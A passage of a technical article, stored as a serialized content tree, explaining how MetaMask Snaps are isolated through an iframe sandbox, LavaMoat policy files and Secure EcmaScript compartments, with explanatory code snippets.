iframe",{"type":24,"tag":271,"props":44514,"children":44515},{"style":288},[44516],{"type":29,"value":41},{"type":24,"tag":271,"props":44518,"children":44519},{"style":598},[44520],{"type":29,"value":44419},{"type":24,"tag":271,"props":44522,"children":44523},{"style":288},[44524],{"type":29,"value":606},{"type":24,"tag":271,"props":44526,"children":44527},{"style":378},[44528],{"type":29,"value":44529},"'sandbox'",{"type":24,"tag":271,"props":44531,"children":44532},{"style":288},[44533],{"type":29,"value":158},{"type":24,"tag":271,"props":44535,"children":44536},{"style":378},[44537],{"type":29,"value":44538},"'allow-scripts'",{"type":24,"tag":271,"props":44540,"children":44541},{"style":288},[44542],{"type":29,"value":1155},{"type":24,"tag":271,"props":44544,"children":44545},{"class":273,"line":330},[44546],{"type":24,"tag":271,"props":44547,"children":44548},{"style":288},[44549],{"type":29,"value":4385},{"type":24,"tag":271,"props":44551,"children":44552},{"class":273,"line":339},[44553,44557,44561,44565,44569,44574,44578,44583],{"type":24,"tag":271,"props":44554,"children":44555},{"style":630},[44556],{"type":29,"value":44410},{"type":24,"tag":271,"props":44558,"children":44559},{"style":288},[44560],{"type":29,"value":41},{"type":24,"tag":271,"props":44562,"children":44563},{"style":598},[44564],{"type":29,"value":44419},{"type":24,"tag":271,"props":44566,"children":44567},{"style":288},[44568],{"type":29,"value":606},{"type":24,"tag":271,"props":44570,"children":44571},{"style":378},[44572],{"type":29,"value":44573},"'src'",{"type":24,"tag":271,"props":44575,"children":44576},{"style":288},[44577],{"type":29,"value":158},{"type":24,"tag":271,"props":44579,"children":44580},{"style":630},[44581],{"type":29,"value":44582},"uri",{"type":24,"tag":271,"props":44584,"children":44585},{"style":288},[44586],{"type":29,"value":1155},{"type":24,"tag":271,"props":44588,"children":44589},{"class":273,"line":347},[44590,44594,44598,44602,44606,44611,44615,44620],{"type":24,"tag":271,"props":44591,"children":44592},{"style":630},[44593],{"type":29,"value":42342},{"type":24,"tag":271,"props":44595,"children":44596},{"style":288},[44597],{"type":29,"value":41},{"type":24,"tag":271,"props":44599,"children":44600},{"style":630},[44601],{"type":29,"value":40070},{"type":24,"tag":271,"props":44603,"children":44604},{"style":288},[44605],{"type":29,"value":41},{"type":24,"tag":271,"props":44607,"children":44608},{"style":598},[44609],{"type":29,"value":44610},"appendChild",{"type":24,"tag":271,"props":44612,"children":44613},{"style":288},[44614],{"type":29,"value":606},{"type":24,"tag":271,"props":44616,"children":44617},{"style":630},[44618],{"type":29,"value":44619},"iframe",{"type":24,"tag":271,"props":44621,"children":44622},{"style":288},[44623],{"type":29,"value":1155},{"type":24,"tag":25,"props":44625,"children":44626},{},[44627],{"type":29,"value":44628},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":24,"tag":85,"props":44630,"children":44632},{"id":44631},"lavamoat-against-supply-chain-attacks-layer-2",[44633],{"type":29,"value":44634},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":24,"tag":25,"props":44636,"children":44637},{},[44638],{"type":29,"value":44639},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":24,"tag":25,"props":44641,"children":44642},{},[44643,44645,44651],{"type":29,"value":44644},"Malicious dependencies might utilize built-in modules like ",{"type":24,"tag":135,"props":44646,"children":44648},{"className":44647},[],[44649],{"type":29,"value":44650},"fs",{"type":29,"value":44652},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":24,"tag":25,"props":44654,"children":44655},{},[44656],{"type":29,"value":44657},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":24,"tag":25,"props":44659,"children":44660},{},[44661,44663,44670],{"type":29,"value":44662},"This is how a Policy file related to the iframes ",{"type":24,"tag":32,"props":44664,"children":44667},{"href":44665,"rel":44666},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[36],[44668],{"type":29,"value":44669},"looks",{"type":29,"value":12210},{"type":24,"tag":261,"props":44672,"children":44674},{"className":41664,"code":44673,"language":41666,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n \"globals\": {\n \"MessageEvent.prototype\": true,\n \"WorkerGlobalScope\": true,\n \"addEventListener\": true,\n \"browser\": true,\n \"chrome\": true,\n \"location.origin\": true,\n \"postMessage\": true,\n \"removeEventListener\": true\n },\n \"packages\": {\n \"@metamask/post-message-stream>@metamask/utils\": true,\n \"@metamask/post-message-stream>readable-stream\": true\n }\n }\n",[44675],{"type":24,"tag":135,"props":44676,"children":44677},{"__ignoreMap":7},[44678,44691,44703,44723,44743,44763,44783,44803,44823,44843,44860,44868,44880,44900,44916,44923],{"type":24,"tag":271,"props":44679,"children":44680},{"class":273,"line":274},[44681,44686],{"type":24,"tag":271,"props":44682,"children":44683},{"style":378},[44684],{"type":29,"value":44685},"\"@metamask/post-message-stream\"",{"type":24,"tag":271,"props":44687,"children":44688},{"style":288},[44689],{"type":29,"value":44690},": {\n",{"type":24,"tag":271,"props":44692,"children":44693},{"class":273,"line":284},[44694,44699],{"type":24,"tag":271,"props":44695,"children":44696},{"style":630},[44697],{"type":29,"value":44698}," \"globals\"",{"type":24,"tag":271,"props":44700,"children":44701},{"style":288},[44702],{"type":29,"value":44690},{"type":24,"tag":271,"props":44704,"children":44705},{"class":273,"line":294},[44706,44711,44715,44719],{"type":24,"tag":271,"props":44707,"children":44708},{"style":630},[44709],{"type":29,"value":44710}," \"MessageEvent.prototype\"",{"type":24,"tag":271,"props":44712,"children":44713},{"style":288},[44714],{"type":29,"value":23028},{"type":24,"tag":271,"props":44716,"children":44717},{"style":278},[44718],{"type":29,"value":5670},{"type":24,"tag":271,"props":44720,"children":44721},{"style":288},[44722],{"type":29,"value":638},{"type":24,"tag":271,"props":44724,"children":44725},{"class":273,"line":303},[44726,44731,44735,44739],{"type":24,"tag":271,"props":44727,"children":44728},{"style":630},[44729],{"type":29,"value":44730}," \"WorkerGlobalScope\"",{"type":24,"tag":271,"props":44732,"children":44733},{"style":288},[44734],{"type":29,"value":23028},{"type":24,"tag":271,"props":44736,"children":44737},{"style":278},[44738],{"type":29,"value":5670},{"type":24,"tag":271,"props":44740,"children":44741},{"style":288},[44742],{"type":29,"value":638},{"type":24,"tag":271,"props":44744,"children":44745},{"class":273,"line":312},[44746,44751,44755,44759],{"type":24,"tag":271,"props":44747,"children":44748},{"style":630},[44749],{"type":29,"value":44750}," \"addEventListener\"",{"type":24,"tag":271,"props":44752,"children":44753},{"style":288},[44754],{"type":29,"value":23028},{"type":24,"tag":271,"props":44756,"children":44757},{"style":278},[44758],{"type":29,"value":5670},{"type":24,"tag":271,"props":44760,"children":44761},{"style":288},[44762],{"type":29,"value":638},{"type":24,"tag":271,"props":44764,"children":44765},{"class":273,"line":321},[44766,44771,44775,44779],{"type":24,"tag":271,"props":44767,"children":44768},{"style":630},[44769],{"type":29,"value":44770}," \"browser\"",{"type":24,"tag":271,"props":44772,"children":44773},{"style":288},[44774],{"type":29,"value":23028},{"type":24,"tag":271,"props":44776,"children":44777},{"style":278},[44778],{"type":29,"value":5670},{"type":24,"tag":271,"props":44780,"children":44781},{"style":288},[44782],{"type":29,"value":638},{"type":24,"tag":271,"props":44784,"children":44785},{"class":273,"line":330},[44786,44791,44795,44799],{"type":24,"tag":271,"props":44787,"children":44788},{"style":630},[44789],{"type":29,"value":44790}," \"chrome\"",{"type":24,"tag":271,"props":44792,"children":44793},{"style":288},[44794],{"type":29,"value":23028},{"type":24,"tag":271,"props":44796,"children":44797},{"style":278},[44798],{"type":29,"value":5670},{"type":24,"tag":271,"props":44800,"children":44801},{"style":288},[44802],{"type":29,"value":638},{"type":24,"tag":271,"props":44804,"children":44805},{"class":273,"line":339},[44806,44811,44815,44819],{"type":24,"tag":271,"props":44807,"children":44808},{"style":630},[44809],{"type":29,"value":44810}," \"location.origin\"",{"type":24,"tag":271,"props":44812,"children":44813},{"style":288},[44814],{"type":29,"value":23028},{"type":24,"tag":271,"props":44816,"children":44817},{"style":278},[44818],{"type":29,"value":5670},{"type":24,"tag":271,"props":44820,"children":44821},{"style":288},[44822],{"type":29,"value":638},{"type":24,"tag":271,"props":44824,"children":44825},{"class":273,"line":347},[44826,44831,44835,44839],{"type":24,"tag":271,"props":44827,"children":44828},{"style":630},[44829],{"type":29,"value":44830}," \"postMessage\"",{"type":24,"tag":271,"props":44832,"children":44833},{"style":288},[44834],{"type":29,"value":23028},{"type":24,"tag":271,"props":44836,"children":44837},{"style":278},[44838],{"type":29,"value":5670},{"type":24,"tag":271,"props":44840,"children":44841},{"style":288},[44842],{"type":29,"value":638},{"type":24,"tag":271,"props":44844,"children":44845},{"class":273,"line":356},[44846,44851,44855],{"type":24,"tag":271,"props":44847,"children":44848},{"style":630},[44849],{"type":29,"value":44850}," \"removeEventListener\"",{"type":24,"tag":271,"props":44852,"children":44853},{"style":288},[44854],{"type":29,"value":23028},{"type":24,"tag":271,"props":44856,"children":44857},{"style":278},[44858],{"type":29,"value":44859},"true\n",{"type":24,"tag":271,"props":44861,"children":44862},{"class":273,"line":365},[44863],{"type":24,"tag":271,"props":44864,"children":44865},{"style":288},[44866],{"type":29,"value":44867}," },\n",{"type":24,"tag":271,"props":44869,"children":44870},{"class":273,"line":374},[44871,44876],{"type":24,"tag":271,"props":44872,"children":44873},{"style":630},[44874],{"type":29,"value":44875}," \"packages\"",{"type":24,"tag":271,"props":44877,"children":44878},{"style":288},[44879],{"type":29,"value":44690},{"type":24,"tag":271,"props":44881,"children":44882},{"class":273,"line":384},[44883,44888,44892,44896],{"type":24,"tag":271,"props":44884,"children":44885},{"style":630},[44886],{"type":29,"value":44887}," \"@metamask/post-message-stream>@metamask/utils\"",{"type":24,"tag":271,"props":44889,"children":44890},{"style":288},[44891],{"type":29,"value":23028},{"type":24,"tag":271,"props":44893,"children":44894},{"style":278},[44895],{"type":29,"value":5670},{"type":24,"tag":271,"props":44897,"children":44898},{"style":288},[44899],{"type":29,"value":638},{"type":24,"tag":271,"props":44901,"children":44902},{"class":273,"line":393},[44903,44908,44912],{"type":24,"tag":271,"props":44904,"children":44905},{"style":630},[44906],{"type":29,"value":44907}," \"@metamask/post-message-stream>readable-stream\"",{"type":24,"tag":271,"props":44909,"children":44910},{"style":288},[44911],{"type":29,"value":23028},{"type":24,"tag":271,"props":44913,"children":44914},{"style":278},[44915],{"type":29,"value":44859},{"type":24,"tag":271,"props":44917,"children":44918},{"class":273,"line":402},[44919],{"type":24,"tag":271,"props":44920,"children":44921},{"style":288},[44922],{"type":29,"value":20365},{"type":24,"tag":271,"props":44924,"children":44925},{"class":273,"line":411},[44926],{"type":24,"tag":271,"props":44927,"children":44928},{"style":288},[44929],{"type":29,"value":4385},{"type":24,"tag":25,"props":44931,"children":44932},{},[44933,44935,44941,44943,44949,44951,44957,44959,44965,44966,44972],{"type":29,"value":44934},"One crucial aspect of the policy, apart from the ",{"type":24,"tag":135,"props":44936,"children":44938},{"className":44937},[],[44939],{"type":29,"value":44940},"globals",{"type":29,"value":44942}," section, is the ",{"type":24,"tag":135,"props":44944,"children":44946},{"className":44945},[],[44947],{"type":29,"value":44948},"packages",{"type":29,"value":44950}," segment. This section permits the ",{"type":24,"tag":135,"props":44952,"children":44954},{"className":44953},[],[44955],{"type":29,"value":44956},"@metamask/post-message-stream",{"type":29,"value":44958},"package to exclusively interact with the package ",{"type":24,"tag":135,"props":44960,"children":44962},{"className":44961},[],[44963],{"type":29,"value":44964},"@metamask/utils",{"type":29,"value":518},{"type":24,"tag":135,"props":44967,"children":44969},{"className":44968},[],[44970],{"type":29,"value":44971},"readable-stream",{"type":29,"value":44973},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":24,"tag":25,"props":44975,"children":44976},{},[44977,44979,44985],{"type":29,"value":44978},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":24,"tag":135,"props":44980,"children":44982},{"className":44981},[],[44983],{"type":29,"value":44984},"lockdown",{"type":29,"value":44986}," function to freeze all javascript builtins prototypes.",{"type":24,"tag":85,"props":44988,"children":44990},{"id":44989},"secure-ecmascript-ses-sandbox-layer-3",[44991],{"type":29,"value":44992},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":24,"tag":25,"props":44994,"children":44995},{},[44996,44998,45005],{"type":29,"value":44997},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":24,"tag":32,"props":44999,"children":45002},{"href":45000,"rel":45001},"https://github.com/endojs/endo/tree/master/packages/ses",[36],[45003],{"type":29,"value":45004},"Secure EcmaScript (SES)",{"type":29,"value":45006}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":24,"tag":26585,"props":45008,"children":45010},{"id":45009},"ses-fundamentals",[45011],{"type":29,"value":45012},"SES Fundamentals",{"type":24,"tag":45014,"props":45015,"children":45016},"h5",{"id":44984},[45017],{"type":29,"value":45018},"Lockdown",{"type":24,"tag":25,"props":45020,"children":45021},{},[45022,45024,45030],{"type":29,"value":45023},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":24,"tag":135,"props":45025,"children":45027},{"className":45026},[],[45028],{"type":29,"value":45029},"lockdown()",{"type":29,"value":45031}," function, which protects javascript objects against some attacks, mainly:",{"type":24,"tag":3834,"props":45033,"children":45034},{},[45035,45048],{"type":24,"tag":101,"props":45036,"children":45037},{},[45038,45040,45046],{"type":29,"value":45039},"Prototype Pollution\nLockdown executes ",{"type":24,"tag":135,"props":45041,"children":45043},{"className":45042},[],[45044],{"type":29,"value":45045},"Object.freeze",{"type":29,"value":45047}," against all javascript builtins prototypes, preventing these attacks.",{"type":24,"tag":101,"props":45049,"children":45050},{},[45051,45053,45059,45061,45067],{"type":29,"value":45052},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":24,"tag":135,"props":45054,"children":45056},{"className":45055},[],[45057],{"type":29,"value":45058},"trace",{"type":29,"value":45060}," attribute in an ",{"type":24,"tag":135,"props":45062,"children":45064},{"className":45063},[],[45065],{"type":29,"value":45066},"Error",{"type":29,"value":45068}," object, which contains the stack trace of the error.",{"type":24,"tag":45014,"props":45070,"children":45072},{"id":45071},"compartment",[45073],{"type":29,"value":45074},"Compartment",{"type":24,"tag":25,"props":45076,"children":45077},{},[45078,45080,45086,45088,45093],{"type":29,"value":45079},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":24,"tag":135,"props":45081,"children":45083},{"className":45082},[],[45084],{"type":29,"value":45085},"globalThis",{"type":29,"value":45087}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":24,"tag":135,"props":45089,"children":45091},{"className":45090},[],[45092],{"type":29,"value":45085},{"type":29,"value":45094}," context is incapable of tampering with security.",{"type":24,"tag":261,"props":45096,"children":45098},{"className":43281,"code":45097,"language":43283,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[45099],{"type":24,"tag":135,"props":45100,"children":45101},{"__ignoreMap":7},[45102,45131,45164],{"type":24,"tag":271,"props":45103,"children":45104},{"class":273,"line":274},[45105,45109,45114,45118,45122,45127],{"type":24,"tag":271,"props":45106,"children":45107},{"style":278},[45108],{"type":29,"value":611},{"type":24,"tag":271,"props":45110,"children":45111},{"style":630},[45112],{"type":29,"value":45113}," c",{"type":24,"tag":271,"props":45115,"children":45116},{"style":624},[45117],{"type":29,"value":1712},{"type":24,"tag":271,"props":45119,"children":45120},{"style":278},[45121],{"type":29,"value":39603},{"type":24,"tag":271,"props":45123,"children":45124},{"style":598},[45125],{"type":29,"value":45126}," Compartment",{"type":24,"tag":271,"props":45128,"children":45129},{"style":288},[45130],{"type":29,"value":4230},{"type":24,"tag":271,"props":45132,"children":45133},{"class":273,"line":284},[45134,45138,45142,45146,45150,45155,45159],{"type":24,"tag":271,"props":45135,"children":45136},{"style":630},[45137],{"type":29,"value":578},{"type":24,"tag":271,"props":45139,"children":45140},{"style":288},[45141],{"type":29,"value":41},{"type":24,"tag":271,"props":45143,"children":45144},{"style":630},[45145],{"type":29,"value":45085},{"type":24,"tag":271,"props":45147,"children":45148},{"style":624},[45149],{"type":29,"value":39096},{"type":24,"tag":271,"props":45151,"children":45152},{"style":630},[45153],{"type":29,"value":45154}," globalThis",{"type":24,"tag":271,"props":45156,"children":45157},{"style":288},[45158],{"type":29,"value":24920},{"type":24,"tag":271,"props":45160,"children":45161},{"style":2058},[45162],{"type":29,"value":45163},"// false\n",{"type":24,"tag":271,"props":45165,"children":45166},{"class":273,"line":294},[45167,45171,45175,45179,45183,45188,45192,45197,45201],{"type":24,"tag":271,"props":45168,"children":45169},{"style":630},[45170],{"type":29,"value":578},{"type":24,"tag":271,"props":45172,"children":45173},{"style":288},[45174],{"type":29,"value":41},{"type":24,"tag":271,"props":45176,"children":45177},{"style":630},[45178],{"type":29,"value":45085},{"type":24,"tag":271,"props":45180,"children":45181},{"style":288},[45182],{"type":29,"value":41},{"type":24,"tag":271,"props":45184,"children":45185},{"style":630},[45186],{"type":29,"value":45187},"JSON",{"type":24,"tag":271,"props":45189,"children":45190},{"style":624},[45191],{"type":29,"value":39096},{"type":24,"tag":271,"props":45193,"children":45194},{"style":630},[45195],{"type":29,"value":45196}," JSON",{"type":24,"tag":271,"props":45198,"children":45199},{"style":288},[45200],{"type":29,"value":24920},{"type":24,"tag":271,"props":45202,"children":45203},{"style":2058},[45204],{"type":29,"value":45205},"// true\n",{"type":24,"tag":25,"props":45207,"children":45208},{},[45209,45211,45217,45219,45225,45227,45232],{"type":29,"value":45210},"Compartment also changes the behaviour of evaluators functions such as ",{"type":24,"tag":135,"props":45212,"children":45214},{"className":45213},[],[45215],{"type":29,"value":45216},"eval",{"type":29,"value":45218}," and the ",{"type":24,"tag":135,"props":45220,"children":45222},{"className":45221},[],[45223],{"type":29,"value":45224},"Function",{"type":29,"value":45226}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":24,"tag":135,"props":45228,"children":45230},{"className":45229},[],[45231],{"type":29,"value":45085},{"type":29,"value":41},{"type":24,"tag":45014,"props":45234,"children":45236},{"id":45235},"endowments",[45237],{"type":29,"value":45238},"Endowments",{"type":24,"tag":25,"props":45240,"children":45241},{},[45242,45244,45248,45250,45255],{"type":29,"value":45243},"While creating a Compartment, it is possible to specify ",{"type":24,"tag":10648,"props":45245,"children":45246},{},[45247],{"type":29,"value":45235},{"type":29,"value":45249},". These endowments constitute objects that become accessible within the Compartment's ",{"type":24,"tag":135,"props":45251,"children":45253},{"className":45252},[],[45254],{"type":29,"value":45085},{"type":29,"value":45256},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":24,"tag":25,"props":45258,"children":45259},{},[45260,45262,45268],{"type":29,"value":45261},"In addition, SES provides the ",{"type":24,"tag":135,"props":45263,"children":45265},{"className":45264},[],[45266],{"type":29,"value":45267},"harden()",{"type":29,"value":45269}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":24,"tag":26585,"props":45271,"children":45273},{"id":45272},"setting-up-snaps-execution-env",[45274],{"type":29,"value":45275},"Setting up Snaps Execution Env",{"type":24,"tag":25,"props":45277,"children":45278},{},[45279],{"type":29,"value":45280},"When starting a snap, the setup follows these steps:",{"type":24,"tag":3834,"props":45282,"children":45283},{},[45284],{"type":24,"tag":101,"props":45285,"children":45286},{},[45287],{"type":24,"tag":213,"props":45288,"children":45289},{},[45290,45292],{"type":29,"value":45291},"Create endowments based on snap ",{"type":24,"tag":32,"props":45293,"children":45296},{"href":45294,"rel":45295},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[36],[45297],{"type":29,"value":45298},"permissions",{"type":24,"tag":261,"props":45300,"children":45302},{"className":43281,"code":45301,"language":43283,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n snap,\n ethereum,\n snapId,\n _endowments,\n);\n",[45303],{"type":24,"tag":135,"props":45304,"children":45305},{"__ignoreMap":7},[45306,45356,45368,45379,45391,45403],{"type":24,"tag":271,"props":45307,"children":45308},{"class":273,"line":274},[45309,45313,45317,45321,45325,45330,45334,45339,45343,45347,45352],{"type":24,"tag":271,"props":45310,"children":45311},{"style":278},[45312],{"type":29,"value":611},{"type":24,"tag":271,"props":45314,"children":45315},{"style":288},[45316],{"type":29,"value":17293},{"type":24,"tag":271,"props":45318,"children":45319},{"style":630},[45320],{"type":29,"value":45235},{"type":24,"tag":271,"props":45322,"children":45323},{"style":288},[45324],{"type":29,"value":158},{"type":24,"tag":271,"props":45326,"children":45327},{"style":630},[45328],{"type":29,"value":45329},"teardown",{"type":24,"tag":271,"props":45331,"children":45332},{"style":288},[45333],{"type":29,"value":23028},{"type":24,"tag":271,"props":45335,"children":45336},{"style":630},[45337],{"type":29,"value":45338},"endowmentTeardown",{"type":24,"tag":271,"props":45340,"children":45341},{"style":288},[45342],{"type":29,"value":43870},{"type":24,"tag":271,"props":45344,"children":45345},{"style":624},[45346],{"type":29,"value":762},{"type":24,"tag":271,"props":45348,"children":45349},{"style":598},[45350],{"type":29,"value":45351}," createEndowments",{"type":24,"tag":271,"props":45353,"children":45354},{"style":288},[45355],{"type":29,"value":4028},{"type":24,"tag":271,"props":45357,"children":45358},{"class":273,"line":284},[45359,45364],{"type":24,"tag":271,"props":45360,"children":45361},{"style":630},[45362],{"type":29,"value":45363}," snap",{"type":24,"tag":271,"props":45365,"children":45366},{"style":288},[45367],{"type":29,"value":638},{"type":24,"tag":271,"props":45369,"children":45370},{"class":273,"line":294},[45371,45375],{"type":24,"tag":271,"props":45372,"children":45373},{"style":630},[45374],{"type":29,"value":39158},{"type":24,"tag":271,"props":45376,"children":45377},{"style":288},[45378],{"type":29,"value":638},{"type":24,"tag":271,"props":45380,"children":45381},{"class":273,"line":303},[45382,45387],{"type":24,"tag":271,"props":45383,"children":45384},{"style":630},[45385],{"type":29,"value":45386}," snapId",{"type":24,"tag":271,"props":45388,"children":45389},{"style":288},[45390],{"type":29,"value":638},{"type":24,"tag":271,"props":45392,"children":45393},{"class":273,"line":312},[45394,45399],{"type":24,"tag":271,"props":45395,"children":45396},{"style":630},[45397],{"type":29,"value":45398}," _endowments",{"type":24,"tag":271,"props":45400,"children":45401},{"style":288},[45402],{"type":29,"value":638},{"type":24,"tag":271,"props":45404,"children":45405},{"class":273,"line":321},[45406],{"type":24,"tag":271,"props":45407,"children":45408},{"style":288},[45409],{"type":29,"value":1155},{"type":24,"tag":25,"props":45411,"children":45412},{},[45413],{"type":29,"value":45414},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":24,"tag":25,"props":45416,"children":45417},{},[45418,45420,45426,45428,45434],{"type":29,"value":45419},"One clear example is the ",{"type":24,"tag":135,"props":45421,"children":45423},{"className":45422},[],[45424],{"type":29,"value":45425},"endowment:network-access",{"type":29,"value":45427}," permission, that adds the ",{"type":24,"tag":135,"props":45429,"children":45431},{"className":45430},[],[45432],{"type":29,"value":45433},"fetch()",{"type":29,"value":45435}," function to the endowments.",{"type":24,"tag":25,"props":45437,"children":45438},{},[45439,45441,45447],{"type":29,"value":45440},"All endowments are protected with the ",{"type":24,"tag":135,"props":45442,"children":45444},{"className":45443},[],[45445],{"type":29,"value":45446},"harden",{"type":29,"value":45448}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":24,"tag":3834,"props":45450,"children":45451},{"start":284},[45452],{"type":24,"tag":101,"props":45453,"children":45454},{},[45455],{"type":24,"tag":213,"props":45456,"children":45457},{},[45458,45460],{"type":29,"value":45459},"Create the snap ",{"type":24,"tag":32,"props":45461,"children":45464},{"href":45462,"rel":45463},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[36],[45465],{"type":29,"value":45071},{"type":24,"tag":261,"props":45467,"children":45469},{"className":43281,"code":45468,"language":43283,"meta":7,"style":7},"const compartment = new Compartment({\n ...endowments,\n module: snapModule,\n exports: snapModule.exports,\n});\n",[45470],{"type":24,"tag":135,"props":45471,"children":45472},{"__ignoreMap":7},[45473,45501,45517,45534,45559],{"type":24,"tag":271,"props":45474,"children":45475},{"class":273,"line":274},[45476,45480,45485,45489,45493,45497],{"type":24,"tag":271,"props":45477,"children":45478},{"style":278},[45479],{"type":29,"value":611},{"type":24,"tag":271,"props":45481,"children":45482},{"style":630},[45483],{"type":29,"value":45484}," compartment",{"type":24,"tag":271,"props":45486,"children":45487},{"style":624},[45488],{"type":29,"value":1712},{"type":24,"tag":271,"props":45490,"children":45491},{"style":278},[45492],{"type":29,"value":39603},{"type":24,"tag":271,"props":45494,"children":45495},{"style":598},[45496],{"type":29,"value":45126},{"type":24,"tag":271,"props":45498,"children":45499},{"style":288},[45500],{"type":29,"value":22837},{"type":24,"tag":271,"props":45502,"children":45503},{"class":273,"line":284},[45504,45509,45513],{"type":24,"tag":271,"props":45505,"children":45506},{"style":624},[45507],{"type":29,"value":45508}," ...",{"type":24,"tag":271,"props":45510,"children":45511},{"style":630},[45512],{"type":29,"value":45235},{"type":24,"tag":271,"props":45514,"children":45515},{"style":288},[45516],{"type":29,"value":638},{"type":24,"tag":271,"props":45518,"children":45519},{"class":273,"line":294},[45520,45525,45530],{"type":24,"tag":271,"props":45521,"children":45522},{"style":630},[45523],{"type":29,"value":45524}," module:",{"type":24,"tag":271,"props":45526,"children":45527},{"style":630},[45528],{"type":29,"value":45529}," snapModule",{"type":24,"tag":271,"props":45531,"children":45532},{"style":288},[45533],{"type":29,"value":638},{"type":24,"tag":271,"props":45535,"children":45536},{"class":273,"line":303},[45537,45542,45546,45550,45555],{"type":24,"tag":271,"props":45538,"children":45539},{"style":630},[45540],{"type":29,"value":45541}," exports:",{"type":24,"tag":271,"props":45543,"children":45544},{"style":630},[45545],{"type":29,"value":45529},{"type":24,"tag":271,"props":45547,"children":45548},{"style":288},[45549],{"type":29,"value":41},{"type":24,"tag":271,"props":45551,"children":45552},{"style":630},[45553],{"type":29,"value":45554},"exports",{"type":24,"tag":271,"props":45556,"children":45557},{"style":288},[45558],{"type":29,"value":638},{"type":24,"tag":271,"props":45560,"children":45561},{"class":273,"line":312},[45562],{"type":24,"tag":271,"props":45563,"children":45564},{"style":288},[45565],{"type":29,"value":43005},{"type":24,"tag":25,"props":45567,"children":45568},{},[45569,45571,45577,45578,45583,45585,45590],{"type":29,"value":45570},"Note: ",{"type":24,"tag":135,"props":45572,"children":45574},{"className":45573},[],[45575],{"type":29,"value":45576},"module",{"type":29,"value":518},{"type":24,"tag":135,"props":45579,"children":45581},{"className":45580},[],[45582],{"type":29,"value":45554},{"type":29,"value":45584}," are passed as endowments, but without being ",{"type":24,"tag":10648,"props":45586,"children":45587},{},[45588],{"type":29,"value":45589},"hardened",{"type":29,"value":45591},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":24,"tag":3834,"props":45593,"children":45594},{"start":294},[45595],{"type":24,"tag":101,"props":45596,"children":45597},{},[45598],{"type":24,"tag":213,"props":45599,"children":45600},{},[45601,45603],{"type":29,"value":45602},"Evaluate the snap code inside the ",{"type":24,"tag":32,"props":45604,"children":45607},{"href":45605,"rel":45606},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[36],[45608],{"type":29,"value":45071},{"type":24,"tag":261,"props":45610,"children":45612},{"className":43281,"code":45611,"language":43283,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n compartment.evaluate(sourceCode);\n this.registerSnapExports(snapId, snapModule);\n});\n",[45613],{"type":24,"tag":135,"props":45614,"children":45615},{"__ignoreMap":7},[45616,45657,45687,45724],{"type":24,"tag":271,"props":45617,"children":45618},{"class":273,"line":274},[45619,45623,45627,45631,45636,45640,45644,45649,45653],{"type":24,"tag":271,"props":45620,"children":45621},{"style":749},[45622],{"type":29,"value":40586},{"type":24,"tag":271,"props":45624,"children":45625},{"style":278},[45626],{"type":29,"value":43384},{"type":24,"tag":271,"props":45628,"children":45629},{"style":288},[45630],{"type":29,"value":41},{"type":24,"tag":271,"props":45632,"children":45633},{"style":598},[45634],{"type":29,"value":45635},"executeInSnapContext",{"type":24,"tag":271,"props":45637,"children":45638},{"style":288},[45639],{"type":29,"value":606},{"type":24,"tag":271,"props":45641,"children":45642},{"style":630},[45643],{"type":29,"value":43688},{"type":24,"tag":271,"props":45645,"children":45646},{"style":288},[45647],{"type":29,"value":45648},", () ",{"type":24,"tag":271,"props":45650,"children":45651},{"style":278},[45652],{"type":29,"value":22519},{"type":24,"tag":271,"props":45654,"children":45655},{"style":288},[45656],{"type":29,"value":7145},{"type":24,"tag":271,"props":45658,"children":45659},{"class":273,"line":284},[45660,45665,45669,45674,45678,45683],{"type":24,"tag":271,"props":45661,"children":45662},{"style":630},[45663],{"type":29,"value":45664}," 